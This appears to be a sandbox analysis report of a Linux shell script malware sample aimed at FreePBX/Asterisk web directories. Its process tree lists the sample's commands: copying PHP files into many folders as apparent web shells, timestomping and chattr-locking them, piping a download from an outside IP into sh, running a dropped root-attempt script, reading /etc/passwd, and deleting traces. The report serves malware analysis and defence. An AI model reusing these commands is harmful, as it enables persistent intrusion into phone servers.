5668e0a9a56e051770f2074494c45db58b87202128525f1c468f55a4eee57117

Analysis

max time kernel
0s
max time network
40s
platform
ubuntu-18.04_amd64
resource
ubuntu1804-amd64-20260513-en
resource tags

arch:amd64arch:i386image:ubuntu1804-amd64-20260513-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
submitted
03/08/2026, 23:43

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
5668e0a9a56e051770f2074494c45db58b87202128525f1c468f55a4eee57117.sh
Size 26KB
Sample260803-3qs2jszakb
SHA256 5668e0a9a56e051770f2074494c45db58b87202128525f1c468f55a4eee57117
MD5 168e46785d7d8cd113e14aa47b191691
SHA1 7f62e6b0964b0d6352175e1cde8c9e04efa58282
SHA512 f7edcb46ccb9b5a7a63d5b9f913e3fa77e4f0d49a0e2bd5a1a54a293e6f8914bc92fdac2f7bd3a147da353ab77642e83bdaa20c9344a440e9f8b05f7a003e27b
SSDEEP 768:I8vCB+25j6es8Ro9FYpMSUpi+20qUpi+20YQX:I8l25J+d2QX
TLSH
T155C28D966A867C44BEC98A3E4CBD2B0D6DF5C3D1324942AC3D8B3C719C15F9CD618B1A
MD5 SHA1 SHA512 SSDEEP TLSH

Score

7^/10

defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 2 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
1508	chmod
1509	chmod

Deobfuscate/Decode Files or Information 1 TTPs 4 IoCs

Adversaries may deobfuscate or decode files or information to evade detection mechanisms.

defense_evasion

Deobfuscate/Decode Files or Information

T1140

pid	Process
1473	base64
1524	base64
1535	base64
1540	base64

Reads runtime system information 32 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/filesystems	mkdir
File opened for reading	/proc/filesystems	mkdir
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/filesystems	mkdir
File opened for reading	/proc/filesystems	mkdir
File opened for reading	/proc/filesystems	mkdir
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/filesystems	mv
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/filesystems	mkdir
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/filesystems	mv
File opened for reading	/proc/filesystems	mkdir
File opened for reading	/proc/filesystems	mkdir
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/filesystems	mkdir
File opened for reading	/proc/filesystems	mkdir
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	cp

Writes file to tmp directory 1 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/tryRoot1.sh	5668e0a9a56e051770f2074494c45db58b87202128525f1c468f55a4eee57117.sh

/tmp/5668e0a9a56e051770f2074494c45db58b87202128525f1c468f55a4eee57117.sh
/tmp/5668e0a9a56e051770f2074494c45db58b87202128525f1c468f55a4eee57117.sh
1⤵
- Writes file to tmp directory
PID:1471
- /usr/bin/base64
  base64 -d
  2⤵
  - Deobfuscate/Decode Files or Information
  PID:1473
- /bin/cp
  cp /var/www/html/admin/views/ajax.php /var/www/html/some.php
  2⤵
  - Reads runtime system information
  PID:1475
- /bin/mkdir
  mkdir -p /var/www/html/rest_phones/
  2⤵
  - Reads runtime system information
  PID:1476
- /bin/mkdir
  mkdir -p /var/www/html/restiapps/
  2⤵
  - Reads runtime system information
  PID:1477
- /bin/mkdir
  mkdir -p /var/www/html/restiapp/
  2⤵
  - Reads runtime system information
  PID:1479
- /bin/mkdir
  mkdir -p /var/www/html/phones/
  2⤵
  - Reads runtime system information
  PID:1481
- /bin/mkdir
  mkdir -p /var/www/html/digiums/
  2⤵
  - Reads runtime system information
  PID:1482
- /bin/mkdir
  mkdir -p /var/www/html/admin/modules/h/
  2⤵
  - Reads runtime system information
  PID:1483
- /bin/mkdir
  mkdir -p /var/www/html/admin/modules/fpbxphones/
  2⤵
  - Reads runtime system information
  PID:1484
- /bin/mkdir
  mkdir -p /var/www/html/admin/modules/phones/
  2⤵
  - Reads runtime system information
  PID:1485
- /bin/mkdir
  mkdir -p /var/www/html/digium_phones/
  2⤵
  - Reads runtime system information
  PID:1486
- /bin/cp
  cp /var/www/html/admin/views/ajax.php /var/www/html/some.php
  2⤵
  - Reads runtime system information
  PID:1487
- /bin/cp
  cp /var/www/html/admin/views/ajax.php /var/www/html/admin/modules/h/some.php
  2⤵
  - Reads runtime system information
  PID:1488
- /bin/cp
  cp /var/www/html/admin/views/ajax.php /var/www/html/admin/modules/fpbxphones/some.php
  2⤵
  - Reads runtime system information
  PID:1490
- /bin/cp
  cp /var/www/html/admin/views/ajax.php /var/www/html/admin/modules/phones/some.php
  2⤵
  - Reads runtime system information
  PID:1491
- /bin/cp
  cp /var/www/html/admin/views/ajax.php /var/www/html/admin/modules/core/some.php
  2⤵
  - Reads runtime system information
  PID:1492
- /bin/cp
  cp /var/www/html/admin/views/ajax.php /var/www/html/rest_phones/some.php
  2⤵
  - Reads runtime system information
  PID:1493
- /bin/cp
  cp /var/www/html/admin/views/ajax.php /var/www/html/digiums/some.php
  2⤵
  - Reads runtime system information
  PID:1495
- /bin/cp
  cp /var/www/html/admin/views/ajax.php /var/www/html/phones/some.php
  2⤵
  - Reads runtime system information
  PID:1496
- /bin/cp
  cp /var/www/html/admin/views/ajax.php /var/www/html/restiapp/some.php
  2⤵
  - Reads runtime system information
  PID:1497
- /bin/cp
  cp /var/www/html/admin/views/ajax.php /var/www/html/admin/assets/js/some.php
  2⤵
  - Reads runtime system information
  PID:1498
- /bin/cp
  cp /var/www/html/admin/views/ajax.php /var/www/html/admin/assets/some.php
  2⤵
  - Reads runtime system information
  PID:1499
- /bin/cp
  cp /var/www/html/admin/views/ajax.php /var/www/html/admin/assets/js/views/some.php
  2⤵
  - Reads runtime system information
  PID:1500
- /bin/cp
  cp /var/www/html/admin/views/ajax.php /var/www/html/restiapps/some.php
  2⤵
  - Reads runtime system information
  PID:1502
- /bin/cp
  cp /var/www/html/admin/views/ajax.php /var/www/html/digium_phones/some.php
  2⤵
  - Reads runtime system information
  PID:1503
- /usr/bin/touch
  touch /var/www/html/admin/views/ajax.php -r /var/www/html/admin/views/footer.php
  2⤵
  PID:1506
- /bin/chmod
  chmod +x /var/www/html/admin/views/ajax.php
  2⤵
  - File and Directory Permissions Modification
  PID:1508
- /bin/chmod
  chmod +x /var/www/html/admin/views/some.php
  2⤵
  - File and Directory Permissions Modification
  PID:1509
- /usr/bin/chattr
  chattr +i /var/www/html/admin/views/ajax.php
  2⤵
  PID:1510
- /usr/bin/chattr
  chattr +a /var/www/html/admin/views/ajax.php
  2⤵
  PID:1511
- /usr/bin/chattr
  chattr +i /var/www/html/admin/views/some.php
  2⤵
  PID:1512
- /usr/bin/chattr
  chattr +a /var/www/html/admin/views/some.php
  2⤵
  PID:1513
- /usr/bin/chattr
  chattr +i /var/www/html/some.php
  2⤵
  PID:1514
- /usr/bin/chattr
  chattr +a /var/www/html/some.php
  2⤵
  PID:1515
- /usr/bin/chattr
  chattr +i /var/www/html/h.php
  2⤵
  PID:1516
- /usr/bin/chattr
  chattr +a /var/www/html/h.php
  2⤵
  PID:1517
- /bin/sh
  sh
  2⤵
  PID:1521
- /usr/bin/curl
  curl http://160.119.69.4/z/post/noroot.php
  2⤵
  PID:1520
- /usr/bin/base64
  base64 -d
  2⤵
  - Deobfuscate/Decode Files or Information
  PID:1524
- /usr/bin/tee
  tee -a /var/spool/asterisk/tmp/tryRoot1.sh
  2⤵
  PID:1525
- /bin/bash
  bash /tmp/tryRoot1.sh
  2⤵
  PID:1526
- - /bin/ls
    ls -la
    3⤵
    - Reads runtime system information
    PID:1529
- - /bin/cat
    cat /etc/passwd
    3⤵
    PID:1530
- - /bin/ls
    ls -ls /home
    3⤵
    - Reads runtime system information
    PID:1531
- - /bin/mkdir
    mkdir -p /var/www/html/admin/modules/freepbx_ha/
    3⤵
    - Reads runtime system information
    PID:1532
- - /bin/mv
    mv /var/www/html/admin/modules/freepbx_ha/license.php /var/www/html/admin/modules/freepbx_ha/license
    3⤵
    - Reads runtime system information
    PID:1533
- - /usr/bin/base64
    base64 -d
    3⤵
    - Deobfuscate/Decode Files or Information
    PID:1535
- - /bin/rm
    rm -f /var/www/html/admin/modules/freepbx_ha/license.php
    3⤵
    PID:1536
- - /bin/mv
    mv /var/www/html/admin/modules/freepbx_ha/license /var/www/html/admin/modules/freepbx_ha/license.php
    3⤵
    - Reads runtime system information
    PID:1537
- - /bin/ls
    ls -la
    3⤵
    - Reads runtime system information
    PID:1538
- - /usr/bin/base64
    base64 -d
    3⤵
    - Deobfuscate/Decode Files or Information
    PID:1540
- - /bin/ls
    ls -la
    3⤵
    - Reads runtime system information
    PID:1541
- - /bin/cat
    cat /etc/passwd
    3⤵
    PID:1542
- - /bin/ls
    ls -ls /home
    3⤵
    - Reads runtime system information
    PID:1543
- /bin/bash
  bash /var/spool/asterisk/tmp/tryRoot1.sh
  2⤵
  PID:1544
- /bin/rm
  rm -rf /tmp/tryRoot1.sh
  2⤵
  PID:1545
- /bin/rm
  rm -rf /var/spool/asterisk/tmp/tryRoot1.sh
  2⤵
  PID:1546
- /bin/sh
  sh
  2⤵
  PID:1548
- /usr/bin/curl
  curl http://160.119.69.4/z/post/noroot.php
  2⤵
  PID:1547

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Deobfuscate/Decode Files or Information

T1140

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

tryRoot1.sh

Path /tmp/tryRoot1.sh
Size 11KB
SHA256 9ed7c1cdf1cb3851b1641cc586d90356c82db2f52585ede4d6d367a0b8bec02b
MD5 8cb7008cbeb1b579946d1c77139a2ea0
SHA1 eb9fc5af92b42ac9eb9efbb847cbd67284ed19ef
SHA512 d4932397a4ddc7ba9643ca82e1ae852b6a8afc2b15824f90afdf439509e60944a5c5608fd0e8a97ff3cd9c8bd4b48c76db8633e8f787d1e2256c9c6b9dcc94ab
SSDEEP 192:zroaKAtVgmuC13sihwiYPMUroaKAtVgmuC13sihwiYPM8roaKAtVgmuC13sihwi6:zro/AMC1cJlP9ro/AMC1cJlPHro/AMCq
TLSH
T1DF32C783066F3275E2063FAB5CFD1F9C7BEA8B4A34A2692529063D9445DDC0FD470A5C
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download